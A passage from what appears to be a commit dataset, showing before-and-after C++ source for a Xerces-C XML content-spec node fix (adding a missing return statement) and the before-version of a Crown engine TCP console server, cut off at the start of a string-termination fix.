Delete our children, avoiding recursive cleanup\n if (fAdoptFirst && fFirst) {\n\t\tdeleteChildNode(fFirst);\n }\n\n if (fAdoptSecond && fSecond) {\n\t\tdeleteChildNode(fSecond);\n }\n\n delete fElement;\n}\n\nvoid ContentSpecNode::deleteChildNode(ContentSpecNode* node)\n{\n\tValueStackOf<ContentSpecNode*> toBeDeleted(10, fMemoryManager);\n\ttoBeDeleted.push(node);\n\twhile(!toBeDeleted.empty())\n\t{\n\t\tContentSpecNode* node = toBeDeleted.pop();\n\t\tif(node==0)\n\t\t\tcontinue;\n\t\tif(node->isFirstAdopted())\n\t\t\ttoBeDeleted.push(node->orphanFirst());\n\t\tif(node->isSecondAdopted())\n\t\t\ttoBeDeleted.push(node->orphanSecond());\n\t\tdelete node;\n\t}\n}\n\nclass formatNodeHolder\n{\npublic:\n\tformatNodeHolder(const ContentSpecNode* n, const ContentSpecNode::NodeTypes p, XMLCh c) : node(n), parentType(p), character(c) {}\n\tformatNodeHolder& operator =(const formatNodeHolder* other)\n\t{\n\t\tnode=other->node;\n\t\tparentType=other->parentType;\n\t\tcharacter=other->character;\n\t}\n\n\tconst ContentSpecNode* node;\n\tContentSpecNode::NodeTypes parentType;\n\tXMLCh character;\n};\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Local methods\n\/\/ ---------------------------------------------------------------------------\nstatic void formatNode( const ContentSpecNode* const curNode\n , XMLBuffer& bufToFill\n\t\t\t\t\t\t,\t\tMemoryManager* const\t\tmemMgr)\n{\n if (!curNode)\n return;\n\n\tValueStackOf<formatNodeHolder> toBeProcessed(10, memMgr);\n\ttoBeProcessed.push(formatNodeHolder(curNode, ContentSpecNode::UnknownType, 0));\n\n\twhile(!toBeProcessed.empty())\n\t{\n\t\tformatNodeHolder item=toBeProcessed.pop();\n\t\tif(item.character!=0)\n\t\t{\n\t\t\tbufToFill.append(item.character);\n\t\t\tcontinue;\n\t\t}\n\t\tconst ContentSpecNode* curNode = item.node;\n\t\tif(!curNode)\n\t\t\tcontinue;\n\t\tconst ContentSpecNode::NodeTypes parentType = item.parentType; \n\t\tconst ContentSpecNode* first = curNode->getFirst();\n\t\tconst ContentSpecNode* second = curNode->getSecond();\n\t\tconst ContentSpecNode::NodeTypes curType = curNode->getType();\n\n\t\t\/\/ Get the type of the first node\n\t\tconst ContentSpecNode::NodeTypes firstType = first ?\n\t\t\t\t\t\t\t\t\t\t\t\t\t first->getType() :\n\t\t\t\t\t\t\t\t\t\t\t\t\t ContentSpecNode::Leaf;\n\n\t\t\/\/ Calculate the parens flag for the rep nodes\n\t\tbool doRepParens = false;\n\t\tif (((firstType != ContentSpecNode::Leaf)\n\t\t\t\t&& (parentType != ContentSpecNode::UnknownType))\n\t\t|| ((firstType == ContentSpecNode::Leaf)\n\t\t\t\t&& (parentType == ContentSpecNode::UnknownType)))\n\t\t{\n\t\t\tdoRepParens = true;\n\t\t}\n\n\t\t\/\/ Now handle our type\n\t\tswitch(curType & 0x0f)\n\t\t{\n\t\t\tcase ContentSpecNode::Leaf :\n\t\t\t\tif (curNode->getElement()->getURI() == XMLElementDecl::fgPCDataElemId)\n\t\t\t\t\tbufToFill.append(XMLElementDecl::fgPCDataElemName);\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbufToFill.append(curNode->getElement()->getRawName());\n\t\t\t\t\t\/\/ show the + and * modifiers also when we have a non-infinite number of repetitions\n\t\t\t\t\tif(curNode->getMinOccurs()==0 && (curNode->getMaxOccurs()==-1 || curNode->getMaxOccurs()>1))\n\t\t\t\t\t\tbufToFill.append(chAsterisk);\n\t\t\t\t\telse if(curNode->getMinOccurs()==0 && curNode->getMaxOccurs()==1)\n\t\t\t\t\t\tbufToFill.append(chQuestion);\n\t\t\t\t\telse if(curNode->getMinOccurs()==1 && (curNode->getMaxOccurs()==-1 || curNode->getMaxOccurs()>1))\n\t\t\t\t\t\tbufToFill.append(chPlus);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::ZeroOrOne :\n\t\t\t\tif (doRepParens)\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chQuestion));\n\t\t\t\tif (doRepParens)\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::ZeroOrMore :\n\t\t\t\tif (doRepParens)\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chAsterisk));\n\t\t\t\tif (doRepParens)\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::OneOrMore :\n\t\t\t\tif (doRepParens)\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chPlus));\n\t\t\t\tif (doRepParens)\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::Choice :\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\tif(second!=NULL)\n\t\t\t\t{\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(second, curType, 0));\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chPipe));\n\t\t\t\t}\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::Sequence :\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\tif(second!=NULL)\n\t\t\t\t{\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(second, curType, 0));\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chComma));\n\t\t\t\t}\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::All :\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t{\n\t\t\t\t\tbufToFill.append(chLatin_A);\n\t\t\t\t\tbufToFill.append(chLatin_l);\n\t\t\t\t\tbufToFill.append(chLatin_l);\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\t\t\t\t}\n\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(second, curType, 0));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chComma));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ ContentSpecNode: Miscellaneous\n\/\/ ---------------------------------------------------------------------------\nvoid ContentSpecNode::formatSpec(XMLBuffer& bufToFill) const\n{\n \/\/ Clean out the buffer first\n bufToFill.reset();\n\n if (fType == ContentSpecNode::Leaf)\n bufToFill.append(chOpenParen);\n formatNode\n (\n this\n\t\t, bufToFill\n , fMemoryManager\n );\n if (fType == ContentSpecNode::Leaf)\n bufToFill.append(chCloseParen);\n}\n\nint ContentSpecNode::getMinTotalRange() const {\n\n int min = fMinOccurs;\n\n if ((fType & 0x0f) == ContentSpecNode::Sequence\n || fType == ContentSpecNode::All\n || (fType & 0x0f) == ContentSpecNode::Choice) {\n\n int minFirst = fFirst->getMinTotalRange();\n\n if (fSecond) {\n\n int minSecond = fSecond->getMinTotalRange();\n\n if ((fType & 0x0f) == ContentSpecNode::Choice) {\n min = min * ((minFirst < minSecond)? minFirst : minSecond);\n }\n else {\n min = min * (minFirst + minSecond);\n }\n }\n else\n min = min * minFirst;\n }\n\n return min;\n}\n\nint ContentSpecNode::getMaxTotalRange() const {\n\n int max = fMaxOccurs;\n\n if (max == SchemaSymbols::XSD_UNBOUNDED) {\n return SchemaSymbols::XSD_UNBOUNDED;\n }\n\n if ((fType & 0x0f) == ContentSpecNode::Sequence\n || fType == ContentSpecNode::All\n || (fType & 0x0f) == ContentSpecNode::Choice) {\n\n int maxFirst = fFirst->getMaxTotalRange();\n\n if (maxFirst == SchemaSymbols::XSD_UNBOUNDED) {\n return SchemaSymbols::XSD_UNBOUNDED;\n }\n\n if (fSecond) {\n\n int maxSecond = fSecond->getMaxTotalRange();\n\n if (maxSecond == SchemaSymbols::XSD_UNBOUNDED) {\n return SchemaSymbols::XSD_UNBOUNDED;\n }\n else {\n\n if ((fType & 0x0f) == ContentSpecNode::Choice) {\n max = max * ((maxFirst > maxSecond) ? maxFirst : maxSecond);\n }\n else {\n max = max * (maxFirst + maxSecond);\n }\n }\n }\n else {\n max = max * maxFirst;\n }\n }\n\n return max;\n}\n\n\/***\n * Support for Serialization\/De-serialization\n ***\/\n\nIMPL_XSERIALIZABLE_TOCREATE(ContentSpecNode)\n\nvoid ContentSpecNode::serialize(XSerializeEngine& serEng)\n{\n \/***\n * Since fElement, fFirst, fSecond are NOT created by the default \n * constructor, we need to create them dynamically.\n ***\/\n\n if (serEng.isStoring())\n {\n serEng<<fElement;\n XMLElementDecl::storeElementDecl(serEng, fElementDecl);\n serEng<<fFirst;\n serEng<<fSecond;\n\n serEng<<(int)fType;\n serEng<<fAdoptFirst;\n serEng<<fAdoptSecond;\n serEng<<fMinOccurs;\n serEng<<fMaxOccurs;\n }\n else\n {\n serEng>>fElement;\n fElementDecl = XMLElementDecl::loadElementDecl(serEng);\n serEng>>fFirst;\n serEng>>fSecond;\n\n int type;\n serEng>>type;\n fType = (NodeTypes)type;\n\n serEng>>fAdoptFirst;\n serEng>>fAdoptSecond;\n serEng>>fMinOccurs;\n serEng>>fMaxOccurs;\n }\n\n}\n\nXERCES_CPP_NAMESPACE_END\n\n<commit_msg>Add return statement to copy constructor (XERCESC-2001)<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/*\n * $Id$\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/framework\/XMLBuffer.hpp>\n#include <xercesc\/validators\/common\/ContentSpecNode.hpp>\n#include <xercesc\/validators\/schema\/SchemaSymbols.hpp>\n#include <xercesc\/util\/ValueStackOf.hpp>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ ContentSpecNode: Copy Constructor\n\/\/\n\/\/ Note: this copy constructor has dependency on various get*() methods\n\/\/ and shall be placed after those method's declaration.\n\/\/ aka inline function compilation error on AIX 4.2, xlC 3 r ev.1\n\/\/ ---------------------------------------------------------------------------\n\nContentSpecNode::ContentSpecNode(const ContentSpecNode& toCopy) :\n XSerializable(toCopy)\n , XMemory(toCopy)\n , fMemoryManager(toCopy.fMemoryManager)\n , fElement(0)\n , fElementDecl(toCopy.fElementDecl)\n , fFirst(0)\n , fSecond(0)\n , fType(toCopy.fType)\n , fAdoptFirst(true)\n , fAdoptSecond(true)\n , fMinOccurs(toCopy.fMinOccurs)\n , fMaxOccurs(toCopy.fMaxOccurs)\n{\n const QName* tempElement = toCopy.getElement();\n if (tempElement)\n fElement = new (fMemoryManager) QName(*tempElement);\n\n const ContentSpecNode *tmp = toCopy.getFirst();\n if (tmp)\n fFirst = new (fMemoryManager) ContentSpecNode(*tmp);\n\n tmp = toCopy.getSecond();\n if (tmp)\n fSecond = new (fMemoryManager) ContentSpecNode(*tmp);\n}\n\nContentSpecNode::~ContentSpecNode()\n{\n \/\/ Delete our children, avoiding recursive cleanup\n if (fAdoptFirst && fFirst) {\n\t\tdeleteChildNode(fFirst);\n }\n\n if (fAdoptSecond && fSecond) {\n\t\tdeleteChildNode(fSecond);\n }\n\n delete fElement;\n}\n\nvoid ContentSpecNode::deleteChildNode(ContentSpecNode* node)\n{\n\tValueStackOf<ContentSpecNode*> toBeDeleted(10, fMemoryManager);\n\ttoBeDeleted.push(node);\n\twhile(!toBeDeleted.empty())\n\t{\n\t\tContentSpecNode* node = toBeDeleted.pop();\n\t\tif(node==0)\n\t\t\tcontinue;\n\t\tif(node->isFirstAdopted())\n\t\t\ttoBeDeleted.push(node->orphanFirst());\n\t\tif(node->isSecondAdopted())\n\t\t\ttoBeDeleted.push(node->orphanSecond());\n\t\tdelete node;\n\t}\n}\n\nclass formatNodeHolder\n{\npublic:\n\tformatNodeHolder(const ContentSpecNode* n, const ContentSpecNode::NodeTypes p, XMLCh c) : node(n), parentType(p), character(c) {}\n\tformatNodeHolder& operator =(const formatNodeHolder* other)\n\t{\n\t\tnode=other->node;\n\t\tparentType=other->parentType;\n\t\tcharacter=other->character;\n\t\treturn *this;\n\t}\n\n\tconst ContentSpecNode* node;\n\tContentSpecNode::NodeTypes parentType;\n\tXMLCh character;\n};\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Local methods\n\/\/ ---------------------------------------------------------------------------\nstatic void formatNode( const ContentSpecNode* const curNode\n , XMLBuffer& bufToFill\n\t\t\t\t\t\t,\t\tMemoryManager* const\t\tmemMgr)\n{\n if (!curNode)\n return;\n\n\tValueStackOf<formatNodeHolder> toBeProcessed(10, memMgr);\n\ttoBeProcessed.push(formatNodeHolder(curNode, ContentSpecNode::UnknownType, 0));\n\n\twhile(!toBeProcessed.empty())\n\t{\n\t\tformatNodeHolder item=toBeProcessed.pop();\n\t\tif(item.character!=0)\n\t\t{\n\t\t\tbufToFill.append(item.character);\n\t\t\tcontinue;\n\t\t}\n\t\tconst ContentSpecNode* curNode = item.node;\n\t\tif(!curNode)\n\t\t\tcontinue;\n\t\tconst ContentSpecNode::NodeTypes parentType = item.parentType; \n\t\tconst ContentSpecNode* first = curNode->getFirst();\n\t\tconst ContentSpecNode* second = curNode->getSecond();\n\t\tconst ContentSpecNode::NodeTypes curType = curNode->getType();\n\n\t\t\/\/ Get the type of the first node\n\t\tconst ContentSpecNode::NodeTypes firstType = first ?\n\t\t\t\t\t\t\t\t\t\t\t\t\t first->getType() :\n\t\t\t\t\t\t\t\t\t\t\t\t\t ContentSpecNode::Leaf;\n\n\t\t\/\/ Calculate the parens flag for the rep nodes\n\t\tbool doRepParens = false;\n\t\tif (((firstType != ContentSpecNode::Leaf)\n\t\t\t\t&& (parentType != ContentSpecNode::UnknownType))\n\t\t|| ((firstType == ContentSpecNode::Leaf)\n\t\t\t\t&& (parentType == ContentSpecNode::UnknownType)))\n\t\t{\n\t\t\tdoRepParens = true;\n\t\t}\n\n\t\t\/\/ Now handle our type\n\t\tswitch(curType & 0x0f)\n\t\t{\n\t\t\tcase ContentSpecNode::Leaf :\n\t\t\t\tif (curNode->getElement()->getURI() == XMLElementDecl::fgPCDataElemId)\n\t\t\t\t\tbufToFill.append(XMLElementDecl::fgPCDataElemName);\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbufToFill.append(curNode->getElement()->getRawName());\n\t\t\t\t\t\/\/ show the + and * modifiers also when we have a non-infinite number of repetitions\n\t\t\t\t\tif(curNode->getMinOccurs()==0 && (curNode->getMaxOccurs()==-1 || curNode->getMaxOccurs()>1))\n\t\t\t\t\t\tbufToFill.append(chAsterisk);\n\t\t\t\t\telse if(curNode->getMinOccurs()==0 && curNode->getMaxOccurs()==1)\n\t\t\t\t\t\tbufToFill.append(chQuestion);\n\t\t\t\t\telse if(curNode->getMinOccurs()==1 && (curNode->getMaxOccurs()==-1 || curNode->getMaxOccurs()>1))\n\t\t\t\t\t\tbufToFill.append(chPlus);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::ZeroOrOne :\n\t\t\t\tif (doRepParens)\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chQuestion));\n\t\t\t\tif (doRepParens)\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::ZeroOrMore :\n\t\t\t\tif (doRepParens)\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chAsterisk));\n\t\t\t\tif (doRepParens)\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::OneOrMore :\n\t\t\t\tif (doRepParens)\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chPlus));\n\t\t\t\tif (doRepParens)\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::Choice :\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\tif(second!=NULL)\n\t\t\t\t{\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(second, curType, 0));\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chPipe));\n\t\t\t\t}\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::Sequence :\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\tif(second!=NULL)\n\t\t\t\t{\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(second, curType, 0));\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chComma));\n\t\t\t\t}\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\n\t\t\tcase ContentSpecNode::All :\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t{\n\t\t\t\t\tbufToFill.append(chLatin_A);\n\t\t\t\t\tbufToFill.append(chLatin_l);\n\t\t\t\t\tbufToFill.append(chLatin_l);\n\t\t\t\t\tbufToFill.append(chOpenParen);\n\t\t\t\t}\n\n\t\t\t\tif ((parentType & 0x0f) != (curType & 0x0f))\n\t\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chCloseParen));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(second, curType, 0));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(0, ContentSpecNode::UnknownType, chComma));\n\t\t\t\ttoBeProcessed.push(formatNodeHolder(first, curType, 0));\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ ContentSpecNode: Miscellaneous\n\/\/ ---------------------------------------------------------------------------\nvoid ContentSpecNode::formatSpec(XMLBuffer& bufToFill) const\n{\n \/\/ Clean out the buffer first\n bufToFill.reset();\n\n if (fType == ContentSpecNode::Leaf)\n bufToFill.append(chOpenParen);\n formatNode\n (\n this\n\t\t, bufToFill\n , fMemoryManager\n );\n if (fType == ContentSpecNode::Leaf)\n bufToFill.append(chCloseParen);\n}\n\nint ContentSpecNode::getMinTotalRange() const {\n\n int min = fMinOccurs;\n\n if ((fType & 0x0f) == ContentSpecNode::Sequence\n || fType == ContentSpecNode::All\n || (fType & 0x0f) == ContentSpecNode::Choice) {\n\n int minFirst = fFirst->getMinTotalRange();\n\n if (fSecond) {\n\n int minSecond = fSecond->getMinTotalRange();\n\n if ((fType & 0x0f) == ContentSpecNode::Choice) {\n min = min * ((minFirst < minSecond)? minFirst : minSecond);\n }\n else {\n min = min * (minFirst + minSecond);\n }\n }\n else\n min = min * minFirst;\n }\n\n return min;\n}\n\nint ContentSpecNode::getMaxTotalRange() const {\n\n int max = fMaxOccurs;\n\n if (max == SchemaSymbols::XSD_UNBOUNDED) {\n return SchemaSymbols::XSD_UNBOUNDED;\n }\n\n if ((fType & 0x0f) == ContentSpecNode::Sequence\n || fType == ContentSpecNode::All\n || (fType & 0x0f) == ContentSpecNode::Choice) {\n\n int maxFirst = fFirst->getMaxTotalRange();\n\n if (maxFirst == SchemaSymbols::XSD_UNBOUNDED) {\n return SchemaSymbols::XSD_UNBOUNDED;\n }\n\n if (fSecond) {\n\n int maxSecond = fSecond->getMaxTotalRange();\n\n if (maxSecond == SchemaSymbols::XSD_UNBOUNDED) {\n return SchemaSymbols::XSD_UNBOUNDED;\n }\n else {\n\n if ((fType & 0x0f) == ContentSpecNode::Choice) {\n max = max * ((maxFirst > maxSecond) ? maxFirst : maxSecond);\n }\n else {\n max = max * (maxFirst + maxSecond);\n }\n }\n }\n else {\n max = max * maxFirst;\n }\n }\n\n return max;\n}\n\n\/***\n * Support for Serialization\/De-serialization\n ***\/\n\nIMPL_XSERIALIZABLE_TOCREATE(ContentSpecNode)\n\nvoid ContentSpecNode::serialize(XSerializeEngine& serEng)\n{\n \/***\n * Since fElement, fFirst, fSecond are NOT created by the default \n * constructor, we need to create them dynamically.\n ***\/\n\n if (serEng.isStoring())\n {\n serEng<<fElement;\n XMLElementDecl::storeElementDecl(serEng, fElementDecl);\n serEng<<fFirst;\n serEng<<fSecond;\n\n serEng<<(int)fType;\n serEng<<fAdoptFirst;\n serEng<<fAdoptSecond;\n serEng<<fMinOccurs;\n serEng<<fMaxOccurs;\n }\n else\n {\n serEng>>fElement;\n fElementDecl = XMLElementDecl::loadElementDecl(serEng);\n serEng>>fFirst;\n serEng>>fSecond;\n\n int type;\n serEng>>type;\n fType = (NodeTypes)type;\n\n serEng>>fAdoptFirst;\n serEng>>fAdoptSecond;\n serEng>>fMinOccurs;\n serEng>>fMaxOccurs;\n }\n\n}\n\nXERCES_CPP_NAMESPACE_END\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2012-2018 Daniele Bartolini and individual contributors.\n * License: https:\/\/github.com\/dbartolini\/crown\/blob\/master\/LICENSE\n *\/\n\n#include \"core\/containers\/hash_map.h\"\n#include \"core\/json\/json_object.h\"\n#include \"core\/json\/sjson.h\"\n#include \"core\/memory\/temp_allocator.h\"\n#include \"core\/strings\/string_id.h\"\n#include \"core\/strings\/string_stream.h\"\n#include \"device\/console_server.h\"\n\nnamespace crown\n{\nConsoleServer::ConsoleServer(Allocator& a)\n\t: _clients(a)\n\t, _commands(a)\n{\n}\n\nvoid ConsoleServer::listen(u16 port, bool wait)\n{\n\t_server.bind(port);\n\t_server.listen(5);\n\n\tif (wait)\n\t{\n\t\tAcceptResult ar;\n\t\tTCPSocket client;\n\t\tdo\n\t\t{\n\t\t\tar = _server.accept(client);\n\t\t}\n\t\twhile (ar.error != AcceptResult::SUCCESS);\n\n\t\tarray::push_back(_clients, client);\n\t}\n}\n\nvoid ConsoleServer::shutdown()\n{\n\tfor (u32 i = 0; i < array::size(_clients); ++i)\n\t\t_clients[i].close();\n\n\t_server.close();\n}\n\nvoid ConsoleServer::send(TCPSocket client, const char* json)\n{\n\tu32 len = strlen32(json);\n\tclient.write(&len, 4);\n\tclient.write(json, len);\n}\n\nvoid ConsoleServer::error(TCPSocket client, const char* msg)\n{\n\tTempAllocator4096 ta;\n\tStringStream ss(ta);\n\tss << \"{\\\"type\\\":\\\"error\\\",\\\"message\\\":\\\"\" << msg << \"\\\"}\";\n\tsend(client, string_stream::c_str(ss));\n}\n\nvoid ConsoleServer::log(LogSeverity::Enum sev, const char* system, const char* msg)\n{\n\tconst char* severity_map[] = { \"info\", \"warning\", \"error\" };\n\tCE_STATIC_ASSERT(countof(severity_map) == LogSeverity::COUNT);\n\n\tTempAllocator4096 ta;\n\tStringStream ss(ta);\n\n\tss << \"{\\\"type\\\":\\\"message\\\",\\\"severity\\\":\\\"\";\n\tss << severity_map[sev];\n\tss << \"\\\",\\\"system\\\":\\\"\";\n\tss << system;\n\tss << \"\\\",\\\"message\\\":\\\"\";\n\n\t\/\/ Sanitize msg\n\tconst char* ch = msg;\n\tfor (; *ch; ch++)\n\t{\n\t\tif (*ch == '\"' || *ch == '\\\\')\n\t\t\tss << \"\\\\\";\n\t\tss << *ch;\n\t}\n\tss << \"\\\"}\";\n\n\tsend(string_stream::c_str(ss));\n}\n\nvoid ConsoleServer::send(const char* json)\n{\n\tfor (u32 i = 0; i < array::size(_clients); ++i)\n\t\tsend(_clients[i], json);\n}\n\nvoid ConsoleServer::update()\n{\n\tTCPSocket client;\n\tAcceptResult ar = _server.accept_nonblock(client);\n\tif (ar.error == AcceptResult::SUCCESS)\n\t\tarray::push_back(_clients, client);\n\n\tTempAllocator256 alloc;\n\tArray<u32> to_remove(alloc);\n\n\t\/\/ Update all clients\n\tfor (u32 i = 0; i < array::size(_clients); ++i)\n\t{\n\t\tfor (;;)\n\t\t{\n\t\t\tu32 msg_len = 0;\n\t\t\tReadResult rr = _clients[i].read_nonblock(&msg_len, 4);\n\n\t\t\tif (rr.error == ReadResult::WOULDBLOCK)\n\t\t\t\tbreak;\n\n\t\t\tif (rr.error != ReadResult::SUCCESS)\n\t\t\t{\n\t\t\t\tarray::push_back(to_remove, i);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t\/\/ Read message\n\t\t\tTempAllocator4096 ta;\n\t\t\tArray<char> msg(ta);\n\t\t\tarray::resize(msg, msg_len + 1);\n\t\t\trr = _clients[i].read(array::begin(msg), msg_len);\n\t\t\tarray::push_back(msg, '\\0');\n\n\t\t\tif (rr.error != ReadResult::SUCCESS)\n\t\t\t{\n\t\t\t\tarray::push_back(to_remove, i);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t\/\/ Process message\n\t\t\tJsonObject obj(ta);\n\t\t\tsjson::parse(array::begin(msg), obj);\n\n\t\t\tCommand cmd;\n\t\t\tcmd.function = NULL;\n\t\t\tcmd.user_data = NULL;\n\t\t\tcmd = hash_map::get(_commands\n\t\t\t\t, sjson::parse_string_id(obj[\"type\"])\n\t\t\t\t, cmd\n\t\t\t\t);\n\n\t\t\tif (cmd.function)\n\t\t\t\tcmd.function(*this, _clients[i], array::begin(msg), cmd.user_data);\n\t\t\telse\n\t\t\t\terror(_clients[i], \"Unknown command\");\n\t\t}\n\t}\n\n\t\/\/ Remove clients\n\tfor (u32 i = 0; i < array::size(to_remove); ++i)\n\t{\n\t\tconst u32 last = array::size(_clients) - 1;\n\t\tconst u32 c = to_remove[i];\n\n\t\t_clients[c].close();\n\t\t_clients[c] = _clients[last];\n\t\tarray::pop_back(_clients);\n\t}\n}\n\nvoid ConsoleServer::register_command(const char* type, CommandFunction function, void* user_data)\n{\n\tCE_ENSURE(NULL != type);\n\tCE_ENSURE(NULL != function);\n\n\tCommand cmd;\n\tcmd.function = function;\n\tcmd.user_data = user_data;\n\n\thash_map::set(_commands, StringId32(type), cmd);\n}\n\nnamespace console_server_globals\n{\n\tConsoleServer* _console_server = NULL;\n\n\tvoid init()\n\t{\n\t\t_console_server = CE_NEW(default_allocator(), ConsoleServer)(default_allocator());\n\t}\n\n\tvoid shutdown()\n\t{\n\t\t_console_server->shutdown();\n\t\tCE_DELETE(default_allocator(), _console_server);\n\t\t_console_server = NULL;\n\t}\n\n} \/\/ namespace console_server_globals\n\nConsoleServer* console_server()\n{\n\treturn console_server_globals::_console_server;\n}\n\n} \/\/ namespace crown\n<commit_msg>device: correctly terminate string buffer<commit_after>\/*\n * Copyright (c) 